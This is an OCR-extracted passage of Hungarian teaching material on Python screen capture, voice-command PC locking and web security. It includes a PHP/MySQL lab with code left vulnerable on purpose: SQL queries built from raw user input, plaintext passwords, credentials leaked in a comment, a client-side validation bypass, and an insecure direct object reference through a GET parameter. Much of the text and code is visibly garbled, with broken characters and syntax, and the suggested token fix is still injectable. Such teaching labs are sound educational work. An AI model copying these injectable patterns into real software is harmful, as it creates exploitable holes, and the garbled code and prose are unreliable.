A cv2.imwritef() fé¢éggv®ny a konvert 8l zimiwit®@pet Al
flggveény mas formatumokat is tamogat, példaul .jpg vagy .bmp, ha ezeket szeretnénk hasznalni.

KEPERNYF R¥GZETESE

https://www.geeksforgeeks.org/takisgreenshotsisingpyscreenshein-python
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pip install pyscreenshot

1. # Program to take screenshot
import  pyscreenshot

# To capture the screen
image = pyscreenshot . grab ()

# To display the captured screenshot
image. show()

©CoNOGOM~WLN

10.

11. # To save the screenshot

12. image. save( "'myscreenshot.png” )
13.

Kéd részletes magyarazata

Ez a Python k-d egy egyszerT program, amely Kk®p:
azt, majd elmenti egy f4jlba "myscreenshot.png" néven. A kéd a pyscreenshot kdnyvtarat hasznalja a
k®pernyRk®pek k®sz?2t ®s®hez ®s kezel ®s®hez.

Konyvtar importalasa:

pyscreenshot: Ez a k°nyvt8r a k®pernyR r°gz2t®s
rendszer nativ parancsai segitségével (ez akkor hasznos, ha a pyautogui helyett inkdbb egy masik,
platformfliggetlen megoldast szeretnénk hasznalni).

K®pernyRk®p k®sz2t ®se:

image = pyscreenshot.grab()
A pyscreenshot.grab() f¢éggv®ny k®sz2t egy k®per
visszatérési érték egy PIL (Python Imaging Library) képet ad vissza, amely az image valtozéba kerul.

K®pernyRk®p megj el en2t ®se:

image.show()
Az image.show() f¢éggv®ny megnyitja a k®pernyRk®p
hasznos | ehet gyors el Rn®zet k®nt, an®Il k¢l hogy n

K®per nyRKk®p ment ®s e:

image.save("myscreenshot.png”)

Az i mage.save("myscreenshot.png”") sor a k®pernyR
A save() fiiggvény tamogat mas fajlformatumokat is, igy a képet mas formatumokban is menthetjik,
példaul .jpg vagy .bmp.

SZAMITOGEP ZAROLASA HANGUTASITASSAL

A sz8m2t. -g®p z8rol 8sa hangutas?t8ssal k®nyel mi G
teszi a felhasznalonak, hogy a gépet anélkul zarolja, hogy fizikailag érintkezne vele, ami praktikus,
kilénosen, ha a felhasznalé épp nem tud a géphezirfpéldaul amikor tavolabb tartdzkodik vagy

foglalt a keze).
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Biztons8gi szempontb- | a hangutas?tg8ssal t°rt®n
megakaddlyozza, hogy illetéktelen személyek hozzéaférjenek az adatokhoz. Ez kiléndsen hasznos
nyilvanos helyeken vagy megosztott munkakdrnyezetben, ahbleselalonak gyorsan el kell hagynia

a helyszint. Emellett a hangutasitasos zarolas hasznos lehet akadalymentesség szempontjabdl is, segitve

a mozg8sukban korl 8tozott felhaszng8l  -kat, hogy e
szamitogép zaroka hangutasitassal tehat noveli a biztonsagot, kényelmet biztosit, és
akadalymentesitést is szolgal.

https://www.sujeetkrsingh.com/loghkc-with-voice-commaneéusingpython

pip install SpeechRecognition

1. # ctypes module to load windows library
import ctypes

# speech recognition module

import speech_recognition as sr

# obtain audio from the microphone
r = sr.Recognizer ()
with sr. Microphone () as source :
print ("Say something!" )
10. audio = r.listen (source)
11.
12. # recognize speech using Google Speech Recognition
13. try :
14. # Here we are using default APl which comes with the speech recognition module and is in
built
15. # If you want to use your own API key please use this code ‘r.recognize_google(audio,
key="GOOGLE_SPEECH_RECOGNITION_API_KEY")’
16. # instead of ‘r.recognize_google(audio)’
17. cmd=r . recognize_google (audio)
18. # handle the exceptions
19. except sr.UnknownValueError :
20. print ("Google Speech Recognition could not understand audio" )
21. except sr.RequestError as e:
22. print ("Could not request results from Google Speech Recognition service; {0}" . format (e))
23.
24. # Match and compare the pattern of the voice command. You can change it yours.
25. if cmd=="lock my PC"
26. # Load and execute the command to lock the PC. This function is available in default
library (user32.dll) of windows
27. ctypes . windll . user32 . LockWorkStation ()
28.

©COoNoO,WDN
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WEB BIZTONSAG

A digitsglis vil8g folyamatos fejl Rd®s ®vel a web:¢
nyer. Az internet ma mar nemcsak informécioszerzésre és kommunikaciora szolgal, hanem a
mindennapi élet szinte minden terlletén jelen van: pénzulgyi traakakdonyolitunk le, adatokat
t8rolunk a fel hRben, online v8s8rl 8§sokat v®gzg¢nlk
Ez a szoros integr8ci- azonban kock8zatokkal | &
egyi k el s Rd leteely akik kilbriddle pamadésj naddszerekkel igyekeznek bizalmas adatokat
megszerezni, rendszereket megbénitani vagy kart okozni.

Ez a fejezet a web biztonsdganak alapelveit targyalja, ravilagitva a leggyakoribb tamadasi technikakra,

mint példaul az SQL injekcié, a CreS#te Scripting (XSS), vagy a szolgaltatdsmegtagadassal jaré

(DDoS) tamadasok. Részletesen bemutatjuk azokat émviésteatégiakat, amelyeket a modern webes
fejleszt Rknek ®s rendszergazd8knak al kal mazni uk
fejezet célja, hogy gyakorlati példakkal és esettanulméanyokkal segitse a biztonsagos webes kdrnyezet

A f ejklneeskztkPbmoly er Rfesz?2t ®seket kel |lkiddlgezothi ¢k ar
webalkalmazéas biztonsagos legyen. Ennek hianya privat adatok ellopasat eredményezheti.

Tekints¢k &8t a webes alkalmaz8sok mTk°d®s ®t !

KOMMUNIKACIO

HTTP request
Client Server

HTTF response
58. abraKliensés szerver oldal

A kommuni k8ci -hoz b°ng®szRket haszn8l unk.

59. abraN®p s e miy @wd Rk

Ami kor ¢gyf ® k®nt megnyitod a b°ng®szRt, az k®r
Protocol (HTTP) protokollt hasznal. A szerver lekezeli a kérést, és visszakildi a valaszt. A valasz
HTMM, CSS, JavaScript k-dbtébmegjeldnit amel yet a b°ng
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HTTP request

Client Server
-
HTTF response
60 8bra A b°ng®szR adatforgal ma
Ez a fajta kommunik©8ci 8l | apot n®l k¢l i, a sze
megtamadhatja az Ugyféloldalt vagy a szerver oldalt.
Client Server
Apache
Broser ~— | _.________________..). e
"-—._*. .
Get index.php
www.uni-miskolc.hu/en
/.a-"___“-\-\\
\ HTML 4— Process PHP | #R::;::«
E:f';/
Database
A k°vetkezR p®l d8kban az Apache webszervert fog!
nyelven 2rjuk, ®s MySQL adatb8zist is haszn8l unk
1. A bdngésBnk megnyit egy php fajlt
2. Az Apachemegkeresi a fajlt, és feldolgozza a kddot
3. A PHP kéd megnyja azadatbazist az adatok megjelenitéséhez
4. HTMLfajl bet °© 1 t Rdi k
5. A b ° n g@glenReni az adatokat.
Amikor megnyiunk egy weboldalt, pl.,
www.uni-miskolc.hu/en
akkor GET k®r ®st k¢l desz a webszerverhez. Ha me

a halézati fulre Iépsz, lathatod a kérés tényleges fejlécét.
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= ﬂ Elements Console  Sources Network Performance Memory  Application Security Lighthouse
® © ¥ Q Preserve log [ Disable cache | Online v + 3
Filter [ Hide data URLs @ XHR JS €SS Img Media Font Doc WS Manifest Other [ Has blocked cookies [ Blocked Reguests
| 1000 ms. 2000 ms 3000 ms 4000 ms 5000 ms. 6000 ms 7000 ms 8000 ms 9000 ms 10000 ms 11000 ms 12000 ms 13000 ms
I— ‘
Name X Headers Preview Response Initiator Timing Cookies

|| 7id=637643163054508&ev=Microdata&d|=https%3A%2F%2F...1608915245155&coo=falselles=au “ ' v General

Request URL: https://waw.uni-miskolc.hu/en

et
[_| myriad-pro.woff Request Method: GET

|| stylecss
|| style.css

|_| validationEngine.jquery.css

Status Code: @ 200 OK
Remote Address: 193.6.1€.18:443

[ j t let Referrer Policy: strict-origin-when-cross-origin
jquery.autocomplete.css

|| jquery-ui-1.8.12.custom.css ¥ Response Headers view source
[ ] jscal2.css Cache-Control: no-store, no-cache, must-revalidate, post-check=8, pre-chec
| | border-radius.css 7 Connection: keep-alive

118 requests | 4.6 MB transferred | 10.2 MB resources | Finish: 16,58 s | DOMContentloaded: 14.9¢ Content-Language: hu
61. abra Egy weboldal és a megjelenitéshez szilkséges kérések
A 200-as statuszkod azt jeleni, hogy mindenrendbennt A k°vet kezR st8tuszk:-

Az 8l lapotk-dok 3 sz8mjegybRI 8l Il nak, -taRlged sR s
terjedhet. Ez alapj8n a k°vetkezR csoportjai var

1xx - tjékoztato informaciok: A kérést megkapta a szerver, a feldolgozasa kovetkezik

2xx - sikeres kérés: A kérést sikeresen megkapta, elfogadta, megértette a szerver.

3xx - atirdnyitas: Tovabbi tevékenységre van szilkség a kérés befejezéséhez.

4xx-kl i enshi ba: A k®r®s szintaktik8ja rossz vagy |
5xx - szerverhiba: A szervernek nem sikerilt a kérést végrehajtania.

A form-ok mTk °© d ®s ®n e koz gépeljiik §e8 a0 Stc o | szét sah egyedemi weboldal
keresRmezRj ®be.
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& uni-miskolchu/kereses?search_txt=scholarshi
P
EGYETEM P’
NIVERSITY OF MISKOLE neeron weewail  phonesook vioeos picrupes BB @ @ won o
INTRODUCTION ~ FACULTIES ~ ENGAGEMENT ~ EDUCATION  RESEARCH  SERVICES SCHOLARSHIP Q

KERESES » 1.OLDAL

TOTAL RESULTS: 12, SHOW: 1-8

INFORMATION ABOUT RESIDENTIAL OBLIGATION OF SCHOLARSHIP HOLDERS
11717720

crunt abcun £Ab VOUNG CHRISTIAN STUDENTS

httpsi//www.uni-miskole hu/hirek/2516/information_about residential_obligation_of scholarship_holders

¥ O] | Eemens Sources  Network  Performance  Memery  Application  Security Lighthouse
® O | ¥ Q | ®Peservelog (O Dissblecache | Online ¥ | # ¥
Filter O Hide data URLs [l] | XHR JS €SS Img Media Font Doc WS Manifest Other [ Hasblocked cookies (] Blocked Requests
2000 ms oo 6000 ms 000 ms 10000 ms 12000 ms 14000 ms 16000 ms 13000 ms 20000 ms 2000 200 000 28000 ms 300¢ 20 20 o0
X Headers Preview Response Initiator Timing  Cookies
¥ General

Request URL: https://wwd.uni-miskolc,hu/kereses?search_txt-scholarship
Request Method: GET

Status Code: @ 208 OK

Remote Address: 193.6.16.18:443

S

> Referrer Policy: strict- rigin
[ jscaless
[ border-radius.ss ¥ Response Headers  vie
|| style.css Cache-Control: he t-revelidate, post-check=a, k=@

red | 29 MB resources | Finish: 271's | DOMContentloaded: 1.10 s

Content-Language: hu

62 8bra Egy keresRmezR mTk°d®se
Az URL megvaltozott:
https://www.unimiskolc.hu/kereses?search_txt=scholarship

Lathatd, hogy a szdveges informéacié (query string) a GET request esetén delRan. Aquery
stringk ®r d Rj e | | e Fértdk parok Ke\klik K jellelrel@dasztva pl.:

?namel=valuel&name2=value2

BEJELENTKEZE£SI tRLAP KEDOLCSA

Hozzunk | ® re egy egyszerT bejelentkez®si

1. <!doctype html>
2. <html lang ="en">
3. <head>

4. <title> Login sample </title>

5. <meta charset ="utf -8">

6. <meta name-"viewport" content ="width=device - width, initial - scale=1">

7. <!-- Bootstrap CSS -- >

8. <link href ="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0 -
betal/dist/css/bootstrap.min.css"” rel ="stylesheet" crossorigin - ="anonymous">

9. <!-- Bootstrap Bundle with Popper - >

10. <script  src ="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0 -
betal/dist/js/bootstrap.bundle.min.js" crossorigin - ="anonymous"></script>

11. </head>

12.

13. <body>

14. </br>

15. <div  class ="container">

16. <form id ='login’ action ="login.php" method="post’  accept - charset ='UTF- 8>
17. <div class ="form - group">

18. <label for ="username"> Login User </label>

19. <input type ="text" name-'userName' class ="form -control" id ="username" aria -
describedby ="userNameHelp" placeholder ="Enter username" maxlength ="50" required />
20. <small id ="userNameHelp" class ="form -texttext - muted">Enter your username </small>
21. </div>

22. <div class ="form - group">
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23. <label for ="password"> Password</label>

24, <input type ="password" name-'password’ class ="form - control" id ="password"
placeholder ="Password" maxlength ="50" required />

25. </div>

26. <input type ="submit" class ="btn btn -primary" name'Submit' value ='Login' />
27. </form>

28. </div>

29. </body>

30. </html>

31.

Az oldal igy néz ki:

< C @ localhost30/websec/login.php

Login User
Enter username

Enter your username

Password

Password

63. abra Az implementélt oldal

Amikor megadod az adataidat és megvizsiga kérés fejléét, latni foguk, hogy ez POST kérés

®  Headers Preview Response niiator Timing  Cookies
¥ General
Request URL: http://localhost:98/websec/login. php
Request Method: POST
Status Code: ® 200 OX
Remote Address: [::1]:98

Referrer Policy: strict-origin-when-cross-origin

64. abra Post kérés

Az Trl ap adat aialébibianodoR kilgiiR el:z Rn e k

* Form Data VIEW SOUrce view LRL encoded
userMame: my_user_name
password: zecret

Submit: Login

65. abra az elkildott adatok

A GET és a POST 6sszehasonlitasa
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GET POST

GET kérések gyorsitdtarazhatok POST kérések soha nem gyorsitotarazotiem
Bennmaradnak a bong(maradnak a b°ng®aemRieha
konyvjel zRvel Hhosskkertatoz&®H kK ° ny v j el z Rv miricserek Korfatbzasok ¢

vannaksoha nem szabad hasznalni érzékeny ad adatok hosszara vonatkozéan

kezelésekorcsak adatok lekérésére hasznaljak (r binaris adatok is megengedettelz adatok nen
modositjak  azokat) csak ASCIl  karakterek| jelennek meg az URthen

megengedettelz adatok mindenki szamara lathat
az URL-ben

A HTML kédhoz php kédot & ? p h p el R62é lehat lgeszurrPéldaul a POST paraméterek
kirasshozakve t k e z Rk - d o<tbodg>zdgetéj uk be a

<?php
print_r ($_POST);
?>
< C @ localhost:90/websec/login.php

Login User
Enter username

Enter your usernames

Password

Password

Array ( [userName] == my_user_name [password] == secret [Submit] == Login)

66. abra php kod beszurasa

Jobb egérgombbal megtekinthetjik az oldal forraskodjat:
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Login User Back Alt=Left Arrow
Enter username Forward Alt+Right Arrow
Enter your username Reload CurleR
Password Save as... Ctrl+5
Password Print... Ctrl+P
Cast...
Translate to English
View page source Ctrl+U
Inspect Ctrl+Shift=|

67. abra Forraskod megtekintése

A f ej | es zttRddot bagytak bermfgi d e lzme tasdeadb.satg b R

& (@ view-sourcellocalhost:90/websec/login.php
2| <html lang="en">»
3| <hsad:>
4 <title>Login sample</title>
5 <meta charset="utf-8">
8 <meta name="viewport" content="width=device-width, i
T <!-- Bootstrap (55 -->
8 <link href="https://cdn.jsdelivr.net/npm/bootstrap:
g <!l-- Bootstrap Bundle with Popper -->
0 <script src="https://cdn.jsdelivr.net/npm/boot=trapf
1| </head>
1
12| <body:
14| </br>
15| <div class="container">
18 <l-- Test data: user=admin, password=admin -->
17 <form id="login' action="login.php" method="'post' at
8 <div class="form-group”:
g <label for="username">Login User</label:
20 <input type="text™ name='userName' class="form-¢
21 <small id="userMameHelp" class="form-text text-n
22 <fdive
2 <div class="form-group"”:
24 <label for="password":»Password</label>
25 <input type="password"” name='password' class="f¢
26 <fdive
27 <input type="submit" class="btn btn-primary"” name="‘
28 </form:
20| </div>
30
21| </body>
3z | </html>

68. 4bra Erzékeny adatok a forraskddban
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Ha dokument 81 ni szeretn®d a k-dot
forrdskodjaban.

, akkor

<?php // Test data: user=admin, password=admin ?>

Készitslink egy Uj adatbazist, a néagyenwebsec

& C @ localhost:90/phpmyadmin/#PMAURL-3:server_databases.php?db==8&table=8server=18&target=8token=f7607692874be320ee3c5bfb97f9b107
phpMyAdmin Il Ol Kiszolgalé: 127.0.0.1
AR E [ Adatbazisok = [f SQL (§ Allapot == Felhasznalok | [« Exportalas = |=} Importalas = J° Beallitasok | || Tobbszérozés = 4
(Recent tables) ~
g New ..
= Adatbazisok
{4 cdeol
| D] S (% Adatbazis létrehozdsa @
i1 mysql

| performance_schema ‘wehsec || utf®_hungarian_ci v‘ [Létrehnz&s]
{4 phpmyadmin | Processing Request
) realsis1 { /i, Megjegyzés: az adatbazis-statisziika engedélyezése a webszerver és a MySQL kozti nagy adatforgalomhoz vezethet.
{4 test
11 webauth
.| webbroker Adathazis = lllesztés

69. abra Adatbazis létrehozasa

Készitslink egy tablat 3 oszloppal:

A4 Structure [] SQL 4 Search [J Query [& Export [5} Import #® Operations | =2 Privileges =& Routines () Events 2 Trig

Mo tables found in database.
—i g Create table

Name: |users Number of columns: |3

Loading...

700 8bra AdatmezRk defini 8l §sa

B 7 Server 127.0.0.1 » @ Database: websec » [ Table: users

[F] Browse = A4 Structure | [] SQL & Search = ¥¢ Insert [ Export |5l Import a7 Privileges | 47 Operations = ® Tracking 22 Triggers

Table name: |users | Add |1 | column(g) I(E::I

Structure &)
Name Type @ LengthValues & Default Collation Attributes Null Index Al C

INT None v ~ ~| O | PRIMARY v
. || | L1 O [rrmmr ] 8 [

lweams | |VARCHAR v 5 )| Nome | i BT . SO

VARCHAR v o0 [ Nane ~| ~| ~ O [ ~ D[

Table comments: Storage Engine: @ Collation:

[Table storing user name and password ] ‘ InnoDB& v‘ | v|

PARTITION definition: )
7. 8br a tipusanakenegRdasa

Adjunk hozza harom felhasznalét:

'1. INSERT INTO ‘websec” . 'users” (‘userID” , ‘userName', ‘password’ ) VALUES(NULL ‘admin' ,
‘admin' );
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2. INSERT INTO ‘websec™ . ‘users® (‘userlD" , ‘userName', ‘password’ ) VALUES(NULL ‘alice’

'1234' );

3. INSERT INTO ‘websec’ . ‘users® (‘userID” , ‘userName', ‘password” ) VALUES(NULL ‘'bob' , '5678" );
4.

Ezutan hozzunk létre egy 4 oszlopos tranzakcié tablat

B C7lServer: 127.0.0.1 » @ Database: websec » [ Table: ransactions

[E Browse | 34 Structure [] SQL | 4 Search ¥t Insert | [@ Export | = Import | =7 Privileges | 4 Operations % Tracking 22 Triggers

Table name: |transactiuns ‘ Add ‘1 ‘ column(g) -:(E)-

Structure o)

Name Type © Length/Values & Default & Collation Attributes Null Index Al Con
| [ ] | [ None vl | vl | ~| O PRIMARY | [
|fromU59r ‘ ‘VARCHAR V‘ ‘25 | |None v| | V| | ¥ O ‘"' V‘ U |:
[ouser | VARCHAR  v| [3 | [ None M v | ¥ 0 [- v 8 C
lomount | [T B | | | None v | v vO |- ~ O B
Table comments: Storage Engine: Collation:

| ‘ ‘ InnoDB V‘ | V‘

PARTITION definition: &)

| .

72. 4bra Tranzakcios tabla létrehozasa

INSERT INTO “websec" . "transactions’ (Vid> , “fromUser” , ‘toUser’ , “amount’ ) VALUES(NULL
‘alice' , 'bob' , '111' );

INSERT INTO “websec" . "transactions’ (id> , “fromUser” , ‘toUser’ , “amount’ ) VALUES(NULL 'bob' ,
‘admin' , '222' );

Haszn8l juk a k°vetkezR k-dot

1. <body>

2.<div class ="container">

3. <hl1> Listof users  </hl1>

4 <table class ="table table - bordered table - striped">

5. <thead class ="thead - dark">

6. <tr>

7 <th> UserlD </td>

8. <th> UserName/td>

9. <th> Password</td>

10. <ftr>

11. </thead>

12. <tbody>

13. <?php

14.

15. /ldatabase authentication

16. $hostDB="127.0.0.1" ; $userDB ="root" $passwordDB="" ; $databaseDB ="websec" ;
17.

18. /lconnect to database

19. $connect = mysqli_connect ($hostDB, $userDB, $passwordDB, $databaseDB);
20. if  (mysqgli_connect_errno  ()){

21. die (" cannot connect to database " mysqli_connect_error  ());

22. }

23.

24, $query ="select * from users " ;

25.

26. $result = mysqli_query ($connect, $query);

27. if (! $result ){

28. die (' error while running query' );

29. }

30.

31. $userinfo =array ();

32. $logininUser =null ;
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33. while ($row= mysqgli_fetch_assoc ($result )){
34. echo " <tr>"

35. echo "<td>" . $row["userID" ] ."</td>"
36. echo " <td>" . $row|[ "userName"]. "</td>" ;
37. echo "<td>" . $row[ "password" ]. "</td>"
38. echo " </tr>"

30. }

40.

41. mysqli_free_result  ($result );

42, mysqli_close ($connect );

43. ?>

44, </tbody>

45. </table>

46. </div>

47. </body>

48.

Helyezzik &t az adatbazis hitelesitési adatait egy kilon fajlba. Majd adjunk hozzéa olyan kédot, amely
a sikeres bejelentkezéskor megjelenit egy Transactions gombot.

1. <?php

2. require ("dbAuth.inc" );

3.

4. $userName = isset ($ POST'userName' ]) ? $ _POST'userName'] : " ;

5. $password = isset ($_POST'password" ]) ? $_POST'password ] : " ;
6.

7. if (! empty($userName and ! empty( $password)){

8. /lconnect to database

9. $connect = mysqgli_connect ($hostDB, $userDB, $passwordDB, $databaseDB);
10. if (mysqgli_connect_errno  ()){

11. die (" cannot connect to database " . mysqli_connect_error  ());
12. }

13.

14. $query ="select * from users where userName="" .

15. $userName . " and password="" . $password .""

16.

17. $result = mysqli_query ($connect , $query);

18. if (! $result ){

19. die (' error while running query' );

20. }

21.

22. $logininUser =null ;

23. while ($row= mysqli_fetch_assoc ($result )){

24, $logininUser = $row|[ "userName"];

25. break ;

26. }

27.

28. mysqli_free_result  ($result );

29. mysqli_close ($connect );

30.

31. echo "<pre>" ;

32. echo "Server data:</br>" ;

33. echo "username:" . $userName "</br>" ;

34. echo "password:" . $password. "</br>" ;

35. echo "query:" . $query . "</br>" ;

36. if (! empty($logininUser )X

37. echo "</br>< div class= \"alert alert - success \ ">Login successful for (" . $logininUser
S

38. echo "</br></br><aclass= \"btn btn -success\" href="transactions.php?userName="
$logininUser . "> Transactions</a>" ;

39. echo "</div>"

40.

41. }else {

42. echo "</br><div class= \"alert alert - danger\ ">Database login failed</div>" ;
43, }

44, echo "</pre>" ;

45, }
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|46. 2> |
| 47 !

Hozzunk Iétre egy U] transactions.pidfit, amely kilistdzza az 6sszes tranzakciatazahonnan vagy
ahova bejelahkezett a felhasznélo.

1. <br /><br /><br />

2. <h2> List of transactions </h2>
3. <table class ="table table  -bordered table - striped" >
4, <thead>

5. <tr>

6. <th> transaction id </td >
7. <th> from </td>

8. <th> to</td >

9. <th> amount</td >

10. </tr >

11. </ thead >

12. <tbody>

13. <?php

14. /IDatabase Authentication
15. require ("dbAuth.inc" );

17. $userName = $_GET 'userName' |;

19. /lconnect to database

20. $connect = mysqli_connect ($hostDB, $userDB, $passwordDB $databaseDB);
21. if (mysqli_connect_errno  ()){

22. die (" cannot connect to database " . mysqli_connect_error  ());

23. }

25. /I get user transactions
26. if (! empty($userName) {

27. $query ="select * from transactions where fromUser="" . $userName . " or toUser=""
$userName . "™ ;

28. $result = mysqli_query ($connect, $query);

29. if (! $result ){

30. die (' Error cannot run query' );

31. }

32.

33. $userinfo =array ();

34. $logininUser =null ;

35. while ($row= mysqli_fetch_assoc ($result )) {
36. $rowColor ="class='success" ;

37. if ($row[ "fromUser" ]==$userName{

38. $rowColor ="class='danger” ;

39. }

40. echo "<tr" . $rowColor .">";

41. echo "<td>" . $row["id" ] ."</td>" ;

42. echo "<td>" . $row["fromUser" ] ."</td>" ;
43. echo " <td>" . $row[ "toUser" ]. "</td>" ;
44, echo "<td>" . $row["amount"]. "</td>"

45. echo "</tr>"

46. }

47. mysqli_free_result  ($result );

48. }

49. mysqli_close ($connect );

50. ?>

51. </ tbody >

52. </ table >

53.

Az oldal igy néz ki
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&« C @ localhost:90/websec/transactions.php?userName=admin w B

List of transactions

transaction id from to amount

2 bob admin 222

3 admin bob 333

73. dbra Az oldal kinézete

V ALIDACIOS SZABALYOK ELKERULESE
Hozzunk létre egy addUser.plapl dal t |, amely nagyon hadAd&ddlge t a b
felhaszn8l -t ad hozz8 az adatb8zishoz. Az Trl ap
tartalmaze | egal 8bb 5 kisbetTt. A form a k°vetkezR:
1. <formid ='adduser’ action ="addUser.php" method='post’ accept - charset ='UTF-8' >
2. <div class ="form - group" >
3. <label for ="username" >User</label >
4. <inputtype ="text" name-'userName' class ="form -control" id ="username" aria -
describedby ="userNameHelp" placeholder ="Enter username" maxlength ="50" />
5. 5. <smallid ="userNameHelp" class ="form -texttext - muted">Enter your
username</ small >
6. </div >
7. <div class ="form - group" >
8. <label for ="password" >Password</ label >
9. <inputtype ="password" name'password’ class ="form -control" id ="password" aria -
describedby ="passwordHelp" placeholder ="Password" maxlength ="50" />
10. <small id ="passwordHelp" class ="form -texttext -muted">Enter password to enable  Add
button </small >
11. </ div >
12. <input type ="submit" class ="btn btn -primary" id ="submit" name='Submit’ value ='Add’
disabled />
13. </ form >

A hozzatartoz6 SQL:

1. $query ="Insert into login(userName,password) VALUES ("
2. $userName . ™, . $password .")"
3.

Mint lathatd, az Add (Hozzaadas) gomb alapértelmezés szerint le van tiltva. Az forraskédban van egy

a

gombot ,

JavaScript f¢gggv®ny, amely enged®l yezi
1. <script>

2 var passwordField = document. getElementByld ("password" );
3 var submitBtn = document. getElementByld ("submit" );

4. submitBtn . disabled = true ;

5. /I When the user types something into the password field

6 passwordField . onkeyup = function () {

7 submitBtn . disabled = true ;

8. /I Validate lowercase letters

9. var lowerCaseletters = /[a -Zz]/ g;

10. if (! passwordField .value . match(lowerCaseLetters )) {
11. return ;

12. }

13. if (passwordField .value .length > 5) {

14. submitBtn . disabled = false ;
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15. }
16. }
17. </script>
18.
User User
Enter username new_user
Enter your username Enter your username
Password Password
|Password seseee
Enter password to enable Add button Enter password to enable Add button

B

74. abra Az Add gomb letiltott és engedélyezett médja

A jobb eg®r gombb améniber vRdyéljuk magtaz Add gormhote ¢ t

E Back Alt+Left Arrow

Forward Alt+Right Arrow
Reload Ctrl+R
Save as., Ctrl+5
Print... Ctrl+P
Cast...

Translate to English

View page source Ctrl+U

Inspect Ctrl+Shift+l

75. dbra 76. abra Az Add gomb forraskédjanak vizsgalata

<input type="submit" class="btn btn-primary" id="submit” name="Submit" wvalue="Add" disabled} == %8

77. abra A forraskéd

Cser®lj¢k e a 6disableddé (Aletiltvaodo) ®rt®ket e
az ellenRrz®st, ®s elk¢ldhetj ¢k az Trlapot a | el
megjelenik a felhasznaloi rekord jelsz6 nélkul.
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e C7 Server: 127.0.0.1 » @ Database: websec » [ Table: users “Table storing user name ana

[ Browse 34 Structure [ SQL 4 Search ¥t Insert [& Export | =} I
Sort by key:| None v

+ Options

—[— + userlD userName password
(] & Edit 3c Copy @ Delete 2 admin admin

[ & Edit %c Copy @ Delete 3 | alice 1234

(] & Edit %c Copy @ Delete 4 |bob 5678

[ g7 Edit % Copy @ Delete 5 hasNoPassword

+ [] CheckAll With selected: 7 Change @ Delete | Export

78. abra Felhasznal6i rekord jelsz6 nélkil

Tehat a megoldas az, hogy a validaciés kodot szerveroldalon kell végreHagdraz if utasitast az
alabbi kodban.

1. <?php

2. require ("dbAuth.inc" );

3.

4. $userName = isset ($ POST'userName' ]) ? $_POST'userName'] : " ;
5. $password = isset ($_POST'password' ]) ? $_POST'password" ] : "
6.

7. if (! empty($userName and ! empty($password)) {

8. /lconnect to database

9. $connect = mysqli_connect ($hostDB, $userDB, $passwordDB, $databaseDB);
10. if (mysqli_connect_errno  ()){

11. die (" cannot connect to database " . mysqgli_connect_error  ());
12. }

13.

14. $query ="Insert into users(userName,password) VALUES (™

15. $userName . "™ . $password .")"

16.

17. $result = mysqli_query ($connect , $query );

18. if (! $result ) {

19. die (' error while running query’ )

20.

21. mysqli_close ($connect );

22.

23. 7>

24.

PLAIN TEXT GET PARAMETEREK ELKERULESE

Térjlink vissza a bejelentkezési oldalunkra. Jelentkezziink be rendszergazdaként, és kattintsunk az
admin tranzakcioinak megtekintéséhez. Figye&ly az URL:t: az atadja a felhasznalonevet.

http://localhost:90/websec/transactions.php?userName=admin
Mi torténik, ha azd a d nparantétert lecseréledb erd® 6
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List of transactions

transaction id from to amount
1 alice bob 1101
2 bob admin 222
2 admin bob 333

Az oldal listazza Bob 6sszes tranzakciojat anélkil, hogy Bob bejelentkezett volna.

Ne hasznalj kdnnyen kitalalhat6 get paramétert!

(& Print view &2 Relation view 5 Propose table structure @ @ Track table b Move columns

3¢ Add |1 column(s) @ At End of Table (O At Beginning of Table O After | userlD v| [ Go
Megoldasként nem a felhasznaléi nevet, hanem egy felhasznaléi tokent adunk majd at.

Add trigger

Details
Trigger name before_insert_user
Table users "
Time BEFORE v
Event IMNSERT o
BEGIN
SET MEW.userTocken = UUID(};
END;
Definition
Definer

Go Close

79. abra Tokenizacio

UPDATE "users™ SET “userToken = UUID();
Mddositsuk dogin.phpoldalt, hogy lassuk a tokent:

1. $logininUser = null ;

2. $userToken = null ;

3. while ($row = mysqli_fetch_assoc ($result )) {
4. $logininUser = $row[ "userName"];

5. $userToken = $row[ "userToken" J;

6. break ;

7.
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& |

és atransactions.php parameter k° vet kez Rk ®ppen m-dos?2tand:-

1. if (! empty($logininUser )) {

2. echo "</br><div class= \"alert alert - success \ ">Login successful for (" . $logininUser
S

3. echo "</br></br>< aclass= \"btn btn -success\" href="transactions.php?userToken="
$userToken . "> Transactions</a>"

4, echo "</div>"

5. }

6.

A transactions.php 8j | ban a f el haszn§l - n®vbRI Il e kel ge
1. /IDatabase Authentication

2. require ("dbAuth.inc" );

3.

4. /lconnect to database

5. $connect = mysqli_connect ($hostDB, $userDB, $passwordDB $databaseDB);

6. if (mysqli_connect_errno () {

7. die (" cannot connect to database " . mysqli_connect_error  ());

8. }

9.

10. $userToken = isset ($_GET'userToken' ]) ? $ _GET'userToken' ] : " ;
11. // get user name from token

12. $query ="select* from users where userToken="" . $userToken .™" ;
13.

14. $result = mysqli_query ($connect, $query);

15. if (! $result ) {

16. die (' error while running query' );

17. }

18.

19. $userName=null ;

20. while ($row= mysqli_fetch_assoc ($result )) {

21. $userName= $row| "userName"];

22. break ; //to be save

23. }

24,

SUTIK (COOKIES) ELTERITESE

A b°ng®szR cookie egy sz°veges f §jI. Ami kor a

irhatok bele acookid 8j | ba, hogy szem®l yre szabhass8k b°ng®e
gyors elérését.

Altalaban a sutik taroljak az oldal felkeresésének adatait, a végrehajtott kereséseit kereséseket
vasarlasokat az oldalon.

Session Computer Browser Cookies

A munkamenetb ©° n g ®s zeR B%ngd®sxzRben t8rol hat - . Ez to°r | Rd
b°ng®szRbRI . A  aszndélapdldanl e online pavasdrékosarakban hasznaljak a
kos8r tartal m8nak r °gz2k ®RseRireet. RVER etke saz ibk® nag Gfsezl Rh
egyik oldalr6l a masik oldalra lépjen anélkil, hogy tobbszor be kelljen jelentkeznie.

Permanent Computer Browser Cookies
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Az 8l 1|l and- b°ng®szR s¢ti k a merevl emezazazament Rd
b°ng®szR | e8Il | 2t8sakor nem t°rl|l Rdnek. Ezeket a
hasznaljak a webhelyen

Ezeket a b° kg ®mk 42 a czervek fudia olvasni, amely elhelyezi a cokkiea
szamitbgépen.

Third Party Computer Browser Cookies
Har madi k f®l tRI sz§&tr
enged®l yezi k a c®gek
meghat 8rozhatja a fe

e k skat széndt§gépee enksékt és aharmnadik fl® s z R

maz- s¢tik p®l d8ul a szal agh
n
